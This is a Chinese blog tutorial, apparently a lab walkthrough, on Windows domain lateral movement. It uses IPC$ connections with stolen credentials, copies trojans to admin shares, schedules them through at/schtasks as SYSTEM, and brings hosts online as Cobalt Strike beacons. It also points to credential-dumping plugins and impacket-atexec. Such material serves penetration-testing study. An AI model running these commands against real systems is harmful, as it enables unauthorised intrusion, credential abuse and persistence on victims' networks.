内网横向移动—IPCATschtasks

news2025/1/16 8:13:46

内网横向移动—IPC&AT&schtasks

  • 1. IPC介绍
    • 1.1. IPC利用条件关系
      • 1.1.1. IPC$空连接介绍
      • 1.1.2. 139与445端口介绍
      • 1.1.3. 默认共享
    • 1.2. IPC连接问题
      • 1.2.1. IPC连接失败原因
      • 1.2.2. IPC连接常见错误
  • 2. 横向移动常用命令
    • 2.1. IPC命令介绍
      • 2.1.1. IPC常用命令演示
        • 2.1.1.1. 建立空连接
        • 2.1.1.2. 建立正常连接
        • 2.1.1.3. 查看本机连接共享情况
        • 2.1.1.4. 删除IPC共享资源
        • 2.1.1.5. 查看文件列表
        • 2.1.1.6. 上传文件至目标系统
        • 2.1.1.7. 下载文件至本地系统
    • 2.2. AT命令介绍
      • 2.2.1. AT常用命令演示
        • 2.2.1.1. 定时执行可执行文件
        • 2.2.1.2. 查看定时任务
        • 2.2.1.3. 删除定时任务
        • 2.2.1.4. 定时执行批处理脚本
      • 2.2.2. 横向移动AT命令演示
    • 2.3. SCHTASKS命令介绍
      • 2.3.1. SCHTASKS常用命令演示
        • 2.3.1.1. 定时执行可以执行文件
        • 2.3.1.2. 查询定时任务
        • 2.3.1.3. 删除定时任务
      • 2.3.2. 横向移动schtasks命令演示
  • 3. 横向移动—前期信息收集
    • 3.1. 网络环境
    • 3.2. 信息收集
      • 3.2.1. Windows2008 上线
        • 3.2.1.1. 密码抓取
        • 3.2.1.2. 端口探测
      • 3.2.2. 域内信息收集
        • 3.2.2.1. 判断域IP
        • 3.2.2.2. 域内用户
  • 4. 横向移动—IPC命令上线演示
    • 4.1. 注意
    • 4.2. AT命令上线演示
      • 4.2.1. Windows 2003上线
        • 4.2.1.1. 建立连接
        • 4.2.1.2. Windows 2003上线
        • 4.2.1.3. 上传文件
        • 4.2.1.4. 设定定时任务
        • 4.2.1.5. 查看上线情况
    • 4.3. schtasks命令上线演示
      • 4.3.1. Windows 2012上线
        • 4.3.1.1. 建立连接
        • 4.3.1.2. 上传文件
        • 4.3.1.3. 设定定时任务
        • 4.3.1.4. 查看上线情况
    • 4.4. 总结
  • 5. 横向移动—IPC代理转发上线演示
    • 5.1. 设置代理转发
    • 5.2. 建立连接
    • 5.3. 上传木马
    • 5.4. 设定定时任务
    • 5.5. 上线情况
  • 6. 横向移动—IPC插件&工具
    • 6.1. cs插件---LSTAR - Aggressor
    • 6.2. impacket-atexec

1. IPC介绍

  IPC( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

  通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等 操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

1.1. IPC利用条件关系

  主要了解一下当使用到IPC的时候需要哪些条件。

1.1.1. IPC$空连接介绍

  当不使用用户名与密码的IPC$连接就是空连接,而空连接是没有权限的,而当使用目标主机的账号密码或管理员账号密码登陆的时候,就会赋予相应的权限操作,但是想要获取到相应的账号密码就需要进行相关的信息收集。

1.1.2. 139与445端口介绍

  ipc可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445( Windows2000)端口,可以实现对共享文件打印机的访问。所以当使用ipc连接需要就139与445端口的支持。

1.1.3. 默认共享

  默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

1.2. IPC连接问题

  主要了解一些IPC连接的时候出现的一些问题。

1.2.1. IPC连接失败原因

  在使用IPC的时候,可能会存在一些失败的情况,这时候就需要检查相关的设置是否开启,比如:

以下需要共同注意一个问题就是,如果端口没开,其它的测试都是白测,只有当端口开启了,才能进行共享或账号密码的验证。

1.当使用非空连接的时候,连接失败,判断是否账号密码输入错误。

2.当使用非空连接的时候,账号密码正确,但连接失败,判断是否未开启IPC默认共享。

3.当使用非空连接的时候,账号密码正确,开启IPC默认共享,但连接失败,判断是否目标的139或445端口关闭。

4.当使用空连接的时候,连接失败,是否目标未开启ipc默认共享。

5.当使用空连接的时候,目标开启IPC默认共享,但连接失败,判断是否目标的139或445端口未开启。

1.2.2. IPC连接常见错误

1.错误号5:拒绝访问

2.错误号51:Windows无法找到网络路径,即网络中存在问题。

3.错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动目标有防火墙(端口过滤)

4.错误号67:找不到网络名,包括lanmanworkstation服务未启动、ipcs已被删除

5.错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进行连接。

6.错误号1326:未知的用户名或错误的密码

7.错误号l792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)。

8.错误号2242:此用户的密码已经过期。例如:目标机器设置了账号管理策略,强制用户定期修改密码。

2. 横向移动常用命令

2.1. IPC命令介绍

  这里主要介绍一下常用命令,对一些常见的命令进行演示,同时也是后期在横向移动的时候,会使用到的一些命令。

net use \\192.168.*.*\ipc$ "" /u:""                         #建立空连接
net use \\192.168.*.*\ipc$ "密码" /user:"Administrator"     #建立正常连接
net use                               #查看本机连接共享情况
dir \\xx.xx.xx.xx\C$\                 #查看文件列表
net view \\192.168.*.*                #查看已建立连接目标主机的共享资源
net time \\192.168.*.*                #查看目标主机时间
nbtstat -A 192.168.*.*                #查看目标主机的NetBIOS用户(自己本机也需开启)
net use \\192.168.*.*\ipc$ /del /y    #删除本机与指定ip建立的连接
net use * /del /y                     #删除本机所有已建立的连接
copy 1.exe \\192.168.*.*\c$\windows\temp\1.exe    #文件的上传下载
copy vps.exe \192.168.*.*\c$          #将本目录下的指定文件复制到目标系统中
xcopy d:\sqlitedata\*.* \\192.168.*.*\c$\temp /E /Y /D         #上传本地文件到目标的:c\windows\temp\目录下
copy \\192.168.*.*\c$\plugin_update.exe c:\                    #下载目标文件到本地c盘下
net share c$ /del                     #删除默认共享
net share c$=c:                       #恢复默认共享
net use z: \\192.168.*.*\c$ "密码" /user:"administrator"   #映射路径:对方的c盘映射为自己的z盘(其他盘类推)
net use z: \\192.168.*.*\c$   #访问
net use c: /del               #删除映射的c盘
net use * /del                #删除全部,会有提示要求按y确认

2.1.1. IPC常用命令演示

  只演示一些常用的命令,其它的命令可以自行操作,同时需要注意,部分情况下,在遇到目标主机是在域环境内,那么就需要使用域名\administrator来作为用户进行连接。

2.1.1.1. 建立空连接

  这里我建立空连接,会提示无法访问,这是由于目标主机做了一些限制,会导致无法建立空连接,但同时就算能够建立空连接,但是也无法使用。

net use \\192.168.10.100\ipc$ "" /u:""

在这里插入图片描述

2.1.1.2. 建立正常连接

  建立正常连接,其实也就是需要使用使用到账号密码,当然使用不同权限的账号密码,也会形成不同的权限操作。

net use \\192.168.10.150\ipc$ "admin@123" /user:"admin"

在这里插入图片描述

2.1.1.3. 查看本机连接共享情况

  这条命令主要就是查看目前本地已经连接的共享详情。

net use

在这里插入图片描述

2.1.1.4. 删除IPC共享资源

net use \\192.168.10.150\ipc$ /del /y

在这里插入图片描述

2.1.1.5. 查看文件列表

  通过命令可以查看目标主机上共享的文件列表,这里我出现一个问题就是,上面我使用的用户是admin用户,也就是普通管理员用户,虽然是管理员用户,但是却无法读取,后续我把用户换成了administrator账号,就可以执行了,证明普通管理员的用户权限,相较来说还是比较低的,在前期的信息收集过程中,还是需要尽量去获取administrator账号的密码。

dir \\192.168.10.150\C$\ 

在这里插入图片描述

2.1.1.6. 上传文件至目标系统

  将指定的文件上传至目标系统指定目录下,并且将文件名修改。倘若不想要上传至执行的目录下,直接将后面指定的目录去除即可。

copy 1.txt \\192.168.10.150\c$\windows\2.txt     ##指定
copy 1.txt \\192.168.10.150\c$                   ##不指定,默认在c盘根目录下

在这里插入图片描述

2.1.1.7. 下载文件至本地系统

  下载目标主机中指定的文件至本地系统中,注意将文件下载下来,本地的cmd需要是管理员权限,不然就会提示拒绝访问。

copy \\192.168.10.150\c$\windows\111.txt c:\

在这里插入图片描述

2.2. AT命令介绍

  在Windows的命令提示符(cmd)中,at命令用于在指定日期和时间运行指定的程序或任务,当然相关的参数还有很多,可以自行查阅,当然很多都是我们可能暂时使用不到的。

  要想使用at命令,那么AT < Windows server 2012系统版本才能够使用。

at [/servicepack] [/interactive] [/delete] [/yes] time

1./servicepack: 如果指定,则向计划的任务发送服务包修补程序消息。

2./interactive: 如果指定,则允许交互式任务。否则,任务将默认以批处理方式运行。

3./delete: 如果指定,则从调度表中删除指定的任务。

4./yes: 如果指定,则自动回答“是”到与任务相关的所有提示。

5.time: 指定任务的运行时间,格式为“hh:mm:ss”。

2.2.1. AT常用命令演示

  这里只演示常见的横向移动的时候会使用到的命令。

2.2.1.1. 定时执行可执行文件

  这里由于想要执行,但是无法演示出来,主要就是看看任务吧!

at 20:39 C:\111\shell.exe

在这里插入图片描述

2.2.1.2. 查看定时任务

at

在这里插入图片描述

2.2.1.3. 删除定时任务

  其中的1是ID。

at 1 /delete

在这里插入图片描述

2.2.1.4. 定时执行批处理脚本

  默认at是无法执行bat脚本的,所以需要添加cmd /c,其实不单单是bat脚本,只要不是可执行文件,都需要添加cmd /c。

at 11:23 cmd /c "c:\windows\temp\test.bat" 

在这里插入图片描述

2.2.2. 横向移动AT命令演示

  在横向移动的时候和普通使用的命令是有些不相同的,这里需要注意的是,我在测试的时候,出现了一个问题就是,倘若我获取到的主机系统版本是2012,那么当我使用at命令对2008进行操作的时候,会出现at命令无法使用的情况,这是由于命令不兼容的情况。

  目前暂无法解决,那么只能说,当使用at的时候,目标主机与远程操作执行的主机都是能够使用at命令的,不可以使用不兼容的命令来进行执行。也就是2012与2008、2003这样。

  回到原先的话题,其实这里就是在at命令后添加一个IP地址也就是ipc的连接。

net use \\192.168.20.20\ipc$ "admin12345" /user:"yuto.com\yaya"  ##建立IPC连接

at \\192.168.20.20 21:08 cmd /c copy C:1111\1.txt C:\     ##测试

在这里插入图片描述

在这里插入图片描述

2.3. SCHTASKS命令介绍

  schtasks其实就是at命令,也就是定时任务,但是这里有个不同点的就是schtasks相较于at命令再使用起来的时候,更加复杂,需要添加的参数更多。同时schtasks命令支持图像化,但我们在使用横向移动的时候,通常只能使用命令行来操作,具体的schtasks命令使用方式自行去搜索,这里我们不做一些其它的操作,只演示一些在横向移动的时候会使用到的命令。

  同时使用schtasks命令的时候,需要系统版本>Windows server 2012,支持Windows 7 —Windows 10

1.schtasks /change    #更改任务的以下一个或多个属性:任务运行的程序 (/tr);运行任务的用户帐户 (/ru);用户帐户的密码 (/rp);将仅交互式属性添加到任务 (/it)

2.schtasks /create    #计划新任务

3.schtasks /delete    #删除计划任务

4.schtasks /end       #停止任务启动的程序

5.schtasks /query     #显示计划在计算机上运行的任务

6.schtasks /run       #立即启动计划任务。 运行操作会忽略计划,但使用任务中保存的程序文件位置、用户帐户和密码立即运行任务
#/sc 启动时间参数为MINUTE、HOURLY、DAILY、WEEKLY等时,需要指定/mo运行的间隔时间
/sc onlogon      用户登录时启动
/sc onstart      系统启动时启动
/sc onidle       系统空闲时启动
/sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
/sc 分钟、小时、每天、每周、每月、一次、开始、登录、空闲、事件。
参数:
/sc   计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn   计划任务名称,后续查询、修改、删除、执行时使用
/tr   需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru   运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp   运行任务的用户账户密码
/mo   指定任务在计划类型中的运行间隔
/d    指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m    指定任务在某个月运行,只适用于MONTHLY类型。
/i    当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st    当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri   指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et   指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du   指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k    在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it   只在用户登录时运行
/z    在任务计划完成后删除任务计划
/f    在创建任务时如果任务已存在不显示警告
/RL   为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F    如果指定的任务已经存在,则强制创建任务并抑制警告。

2.3.1. SCHTASKS常用命令演示

  这里同样也是执行一些常见的命令。

2.3.1.1. 定时执行可以执行文件

  这里我使用了本地用户添加了命令,由于刚开始域用户权限不足,所以使用的,后续已经调整。

schtasks /create /tn yuto /sc ONCE /st 22:00 /tr C:\1111\1.exe /ru system 

在这里插入图片描述

2.3.1.2. 查询定时任务

schtasks /query /tn test

在这里插入图片描述

2.3.1.3. 删除定时任务

schtasks /delete /tn test /f

在这里插入图片描述

2.3.2. 横向移动schtasks命令演示

  这里其实就是添加了一个/s 加ip地址。

net use \\192.168.20.50\ipc$ "admin123456" /user:yuto.combaobao   ##连接  
schtasks /create /s 192.168.20.50 /tn yuto /sc ONCE /st 22:00 /tr C:\1111\1.exe /ru system  ##创建任务

在这里插入图片描述

schtasks /query /tn yuto  ##查询任务

在这里插入图片描述

  远程删除或运行的命令

schtasks /run /s 192.168.20.50 /tn beacon /i #运行 beacon 任务
schtasks /delete /s 192.168.20.50 /tn beacon /f#删除 beacon 任务

3. 横向移动—前期信息收集

  这里主要就是需要对域内环境的前期信息收集,比如收集密码、ip地址、端口等。

3.1. 网络环境

在这里插入图片描述

3.2. 信息收集

  这里我们先获取到Windows2008的权限,这里有外网,可能通过各种手段获取,所以这里就不演示了,直接演示上线情况。

3.2.1. Windows2008 上线

  首先使其上线,上线后进行提权,这里一定要进行提权,要注意在部分情况下,权限不足能够会导致一些操作无法执行。

在这里插入图片描述

3.2.1.1. 密码抓取

  这里就需要去抓取一下密码,尽量进行前期的信息收集,这里就收集到一个明文的密码,还是比较简单的。

在这里插入图片描述

3.2.1.2. 端口探测

  这里由于我们后期需要使用到ipc命令,而且ipc命令需要使用到445端口与135端口,那么这里我们就使用135进行测试。

  需要注意这里,我们上线的地址是10段的,那么我们就来抓取20段的。

在这里插入图片描述

  通过端口扫描,存在这些主机在线。

在这里插入图片描述

3.2.2. 域内信息收集

  这里我们主要要收集一些域IP地址,以及域内用户。

3.2.2.1. 判断域IP

  这里我们先使用一个命令,也就是同步时间,确定我们是否在域内,同时还可以通过操作获取域IP地址。

shell net time /domain

在这里插入图片描述

  这里有点小问题,就是我这个域名可能和真实的有点冲突了,不用管,通过下面这个方式也是可以的,这里我们获取到的域控IP是192.168.20.10。

shell ping WIN-U7VV2NU5E5Q.yuto.com

在这里插入图片描述

3.2.2.2. 域内用户

  获取到域内用户了,这里我们就可以进行下面的操作了。

shell net user /domain

在这里插入图片描述

4. 横向移动—IPC命令上线演示

  这里横向移动命令上线,就是采用之前我们介绍到的at命令和schtasks命令与IPC进行结合使其上线。

整体上线思路:
1.建立IPC链接到目标主机
2.拷贝要执行的命令脚本到目标主机
3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4.正向连接木马或者反向自动上线
5.删除定时任务

4.1. 注意

  这里需要注意,由于我的想法的使用域账号来测试,但是我前面的测试一直都是本地的administrator账号来测试的,测试完才发现未替换账号,这里我们来看一下替换完的情况,提权发现是提不到system权限的,但是能提到域账号的管理员,也能够执行相应的权限,这样更贴近实际吧。

在这里插入图片描述

  注意,看到下面会发现有很多的变化,截图的信息有些不同,这是由于我自己搭建的域环境,可能存在一些异常,所以在做测试的时候,一边测试一边调整域内主机的策略。

  还是建议去找现成的域内靶机环境来继续测试,不建议像我一样手工搭建域环境,有些可能没想到,所以导致测试的时候,一会可以一会不可以。

4.2. AT命令上线演示

  这里直接使用AT命令来进行上线其实是不对的,但是看运气了,如果at无法执行就替换成schtasks命令,由于我们不确定是什么系统。

4.2.1. Windows 2003上线

4.2.1.1. 建立连接

  这里我们来连接192.168.20.40,通过我之前的画图就知道是一个2003系统,那么我们就来让其上线,这里我们是已经建立了连接。后续就是让其上线了。

  当然这里我们获取到域账号了,你也可以让域账号上线,只是密码就需要一个一个测试了。

shell net use \\192.168.20.40\ipc$ "admin@123" /user:yuto.com\administrator

在这里插入图片描述

4.2.1.2. Windows 2003上线

  由于我们的攻击机与内网不是同一个IP段的,所以我们需要生成正向木马,然后上传木马,借用之前2008,来进行上线,这一步我就不演示了,直接演示如何上线吧。

4.2.1.3. 上传文件

  这里我们先把木马考进去,由于我们建立的连接是2008与2003建立的,所以我们需要将文件放入到Windows2008中。

在这里插入图片描述

shell copy 2003.exe \\192.168.20.40\c$

在这里插入图片描述

4.2.1.4. 设定定时任务

  这里需要注意的是首先要获取域下的时间,由于在虚拟机中演示的时候,需要注意时间,可能不同步,在实际环境中也需要注意时间,不然就会出现定了时,确没上线的情况。

net time \\192.168.20.40     ##查看目标主机时间
at \\192.168.20.40 14:06 c:\2003.exe

在这里插入图片描述

4.2.1.5. 查看上线情况

  这里在操作过程中出现了很多问题,我替换了一个IP,将原来的192.168.20.40替换成192.168.20.30了,一定要注意。

connect 192.168.20.30 2222

在这里插入图片描述

4.3. schtasks命令上线演示

4.3.1. Windows 2012上线

  这里前面都是一样的上传木马,采用正向,这里我就不演示了,我们直接演示如何上线吧。

4.3.1.1. 建立连接

  这里我们直接连接Windows 2012。

shell net use \\192.168.20.50\ipc$ "admin@123" /user:yuto.com\administrator

在这里插入图片描述

4.3.1.2. 上传文件

  还是一样创建一个正向的连接,如何将木马上传上去。

在这里插入图片描述

shell copy 2012.exe \\192.168.20.50\c$

在这里插入图片描述

4.3.1.3. 设定定时任务

  这里就有点不一样了,我们对操作系统是不知道是什么版本的,那么最好的办法就是测试,这里我们使用上述说过的,确定了是2012,所以我们就不能使用at命令了。

  可以看到我这里一直都是拒绝访问,可能我的域环境搭建的有问题,从上面也能看到,我一直在调整域环境,是能够实现的,只是我这个域环境可能一直没设置对,这里我们继续向下走流程吧。

shell schtasks /create /s 192.168.20.50 /ru system /tn 2012 /sc DAILY /tr c:\2012.exe /F

在这里插入图片描述

4.3.1.4. 查看上线情况

  这里我有点强行上线了,其实也能看出来,域环境中,有些情况下还是比较难实现上线的。

connect 192.168.20.50 3333

在这里插入图片描述

4.4. 总结

  我这里只是演示了两种命令的上线方式,并没有将所有的主机都上线,其实上线的步骤都是一样的,就没有完全测试完,但是还是需要注意,尽量找现成的域环境主机,不然就会出现我这种,一会能上线,一会不能上线,一会可以执行,一会不可以执行。

5. 横向移动—IPC代理转发上线演示

  前面的都是使用正向执行后,主动去连接,这里就使用代理转发上线,具体就不演示很多了,这里只上线一台来测试。

5.1. 设置代理转发

  这里设置代理转发,用于上线,这里默认监听地址可能是上线的地址,而内部的主机和上线的地址是不通信的,所以我们可以执行命令查看一下上线的这台主机的IP地址。

在这里插入图片描述

  然后生成一个木马,使用的监听器是刚刚代理转发生成的监听器。

在这里插入图片描述

5.2. 建立连接

  到这里就可以建立连接了。

shell net use \\192.168.20.30\ipc$ "admin@123" /user:yuto.com\administrator

在这里插入图片描述

5.3. 上传木马

  将木马上传到获取权限的这台主机,然后通过这台主机将木马上传至目标主机中。

在这里插入图片描述

  然后将木马复制到目标主机中。

shell copy 7.exe \\192.168.20.30\c$

在这里插入图片描述

5.4. 设定定时任务

  将木马上传后,就可以设定定时任务了,这里首先查询一下目标主机的时间,这样可以确保我们设置的时间是对的。

shell net time \\192.168.20.30

在这里插入图片描述

  这里我打码的是句柄无效,是由于我上面输入的ip地址错误了,后面输入对了,导致反馈信息到这行了,所以就打了个码。

shell at \\192.168.20.30 7:16 c:\7.exe

在这里插入图片描述

5.5. 上线情况

  这里是成功上线。

在这里插入图片描述

6. 横向移动—IPC插件&工具

  这里我只介绍工具吧,就不演示了,说实话,除了cs插件有点用,像其它的软件或者可执行文件都太大了,上传就被发现,还很明显,有需要的自行找相关的文章。

6.1. cs插件—LSTAR - Aggressor

  一个插件从上线到域控 实现内网漫游,本着简化 CS 右键和方便自己集成的目的,参考大量后渗透插件,重构和丰富了主机相关凭据获取、多级内网穿透、隐蔽计划任务、免杀的 Mimikatz 和克隆添加用户等功能。

  功能特性:

  • 通过配合 CobaltStrike 的 TCP、SMB、Proxy 等不出网主机上线方式,穿透复杂网络环境
  • 针对 RDP 相关、AddUser、LsassDump 等功能提供多种免杀执行方式,应对冷门环境
  • 集成多个使用 WinAPI 或 Assembly 内存加载方式运行的影子用户、隐蔽计划任务等免杀功能
  • 下载地址:LSTAR

在这里插入图片描述

6.2. impacket-atexec

  Impack是一组用于处理网络协议的Python类的集合。Impack专注于提供对数据包的低级编程访问,并为某些协议(例如SMB1-3和MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中解析,面向对象的API使处理协议的深层层次结构变得简单。

  项目地址:Impacket—py版本

  项目地址:Impacket—exe版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/678732.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

docker非root用户下取消sudo前缀

解决非root用户下执行docker命令提示权限不足&#xff0c;必须添加sudo的问题。 第一步&#xff1a;执行 sudo gpasswd aby docker 命令&#xff0c;将当前用户aby加入docker组中。 第二步&#xff1a;执行 sudo chmod arw /var/run/docker.sock 命令修改sock权限

数据结构之堆——算法与数据结构入门笔记(六)

本文是算法与数据结构的学习笔记第六篇&#xff0c;将持续更新&#xff0c;欢迎小伙伴们阅读学习。有不懂的或错误的地方&#xff0c;欢迎交流 引言 当涉及到高效的数据存储和检索时&#xff0c;堆&#xff08;Heap&#xff09;是一种常用的数据结构。上一篇文章中介绍了树和完…

chatgpt赋能python:Python列表转字符串——从新手到大师

Python列表转字符串——从新手到大师 在Python编程中&#xff0c;列表和字符串是非常常用的数据类型。有时候&#xff0c;我们需要将一个列表转换为一个字符串&#xff0c;以方便进行各种操作。幸运的是&#xff0c;Python内置了一些函数和方法&#xff0c;可以轻松地将列表转…

7Z045 引脚功能详解

本文针对7Z045芯片&#xff0c;详细讲解硬件设计需要注意的技术点&#xff0c;可以作为设计和检查时候的参考文件。问了方便实用&#xff0c;按照Bank顺序排列&#xff0c;包含配置Bank、HR Bank、HP Bank、GTX Bank、供电引脚等。 参考文档包括&#xff1a; ds191-XC7Z030-X…

ruoyi-cloud版本(一)项目的下载与本地运行(亲测有效)

目录 1 架构2 架构图3 源码下载4 创建数据库5 下载nacos与运行6 打开运行基础模块&#xff08;启动没有先后顺序&#xff09;7 启动前端 1 架构 com.ruoyi ├── ruoyi-ui // 前端框架 [80] ├── ruoyi-gateway // 网关模块 [8080] ├── ruoyi…

canvas详解00-认识canvas

身为一个WEB开发人员&#xff0c;肯定都是想着能够开发出酷炫和激动人心的应用程序来。可以很多动画特效&#xff0c;例如黑客帝国的数字&#xff0c;彩色炫酷的例子动效。也可以实现各种图画面板&#xff0c;如实现类似于photoshop的web在线图像编辑。各种酷炫的表单等等。 #…

专项练习10

目录 一、选择题 1、执行以下程序&#xff0c;下列说法中&#xff0c;正确的是&#xff08;&#xff09; 2、下面有关JavaScript中系统方法的描述&#xff0c;错误的是&#xff1f; 3、以下 JavaScript 代码&#xff0c;在浏览器中运行的结果是 4、假设DOM结构为 二、编程题 …

[ruby on rails] rails中使用graphQL

1. 添加gem gem graphql’是主要提供server的, gem graphiql-rails’是用来生成一个graphiql查询页面IDE,自己用来测试的group :development dogem graphiql-rails endgem graphql2.使用命令生成模板文件 rails g graphql:install在API only中,routes不会自动填充graphiql路…

chatgpt赋能python:Python的下载方法——从官网到第三方渠道

Python的下载方法——从官网到第三方渠道 Python 是一种翻译式、面向对象的、动态数据类型的高级程序设计语言&#xff0c;被广泛应用于数据分析、人工智能、物联网等领域。相信大多数程序员都知道 Python&#xff0c;并且使用它编写程序。那么&#xff0c;如何下载 Python&am…

人工智能(1):机器学习工作流程

1 什么是机器学习 机器学习是从数据中自动分析获得模型&#xff0c;并利用模型对未知数据进行预测。 2 机器学习工作流程 机器学习工作流程总结 1 获取数据 2 数据基本处理 3 特征工程 4 机器学习(模型训练) 5 模型评估 结果达到要求&#xff0c;上线服务没有达到要求&a…

程序编译连接加载过程详解

程序加载过程详解 可重定位的elf文件格式简介 首先我们打开目标文件看一下 上面的图就是目标文件的格式了&#xff0c;这里使用的是010editer&#xff0c;这个二进制编辑器很好用 可以看到大致分为三部分&#xff0c;首先是header&#xff0c;然后是sectionheader&#xff0…

MIT 6.S081 (BOOK-RISCV-REV1)教材第四章内容 -- Trap -- 下

MIT 6.S081 教材第四章内容 -- Trap -- 下 引言从内核空间陷入页面错误异常Page Fault BasicsLazy page allocationZero Fill On DemandCopy On Write ForkDemand PagingMemory Mapped Files 真实世界 引言 MIT 6.S081 2020 操作系统 本文为MIT 6.S081课程第四章教材内容翻译…

Windows编译OpenSSL Win10系统 vs2010

近期因为项目需要&#xff0c;需要用到openssl动态库&#xff0c;现在将编译的过程记录一下&#xff1b; 操作系统&#xff1a;Win10 64位 编译器&#xff1a;VS2010 编译步骤如下&#xff1a; 1、下载openssl版本&#xff08;下载地址&#xff1a;​http://www.openssl.or…

chatgpt赋能python:Python分割——字符串处理中的必备技能

Python分割——字符串处理中的必备技能 如果你曾经遇到过需要将一个字符串根据一定规则切割成多个子串的情况&#xff0c;那么你一定会发现&#xff0c;Python中的分割功能能够让这个任务变得非常简单。 什么是Python分割&#xff1f; Python中的分割是指将一个字符串根据特…

端午节安康,佬们都了解端午节的哪些知识呢(附粽子大作战小游戏)

前言&#xff1a; 端午节假期&#xff0c;首先祝各位小伙伴儿们端午节安康。参考了一些资料&#xff0c;本篇文章将和大家分享关于端午节的由来&#xff0c;习俗&#xff0c;以及关于端午节的一个代码小游戏–粽子大作战。 希望大家看完此篇文章能对端午节有收获&#xff0c;也…

如何在gitee上托管项目

1、如果想要将一个项目托管到gitee上,第一步找到gitee官网&#xff1a; https://gitee.com/?utm_sourcebaidu&utm_mediumsem&utm_termgitee%CB%BD%D3%D0%B2%BF%CA%F0&utm_campaignenterprise&utm_contentcompetition&wl_kwid260644677393&wl_creativ…

chatgpt赋能python:用Python绘制区域图,探索数据背后的故事

用Python绘制区域图&#xff0c;探索数据背后的故事 随着大数据时代的到来&#xff0c;数据可视化变得越来越受到重视。而区域图&#xff08;Area chart&#xff09;是一种常用的数据可视化图表类型之一。它可以说明一个数量随着时间的变化而发生的趋势&#xff0c;以及各类数…

chatgpt赋能python:Python的不确定尾数:如何处理和解决?

Python的不确定尾数&#xff1a;如何处理和解决&#xff1f; Python是一种流行的编程语言&#xff0c;被广泛用于开发Web应用程序、数据分析、人工智能、机器学习等领域。但是&#xff0c;Python在处理浮点数时可能存在精度问题&#xff0c;尤其是当尾数不确定时&#xff0c;会…

简单几步写出第一个C++程序

编写一个C程序总共分为4个步骤 创建项目创建文件编写代码运行程序 创建项目 ​ Visual Studio是我们用来编写C程序的主要工具&#xff0c;我们先将它打开 创建文件 右键源文件&#xff0c;选择添加->新建项 给C文件起个名称&#xff0c;然后点击添加即可。 编写代码 #i…

使用shedlock实现分布式定时任务锁【防止task定时任务重复执行】

第一步&#xff1a;引入shedlock相关依赖 <!--集成shedlock解决定时任务重复执行的问题--><dependency><groupId>net.javacrumbs.shedlock</groupId><artifactId>shedlock-spring</artifactId><version>2.2.1</version></d…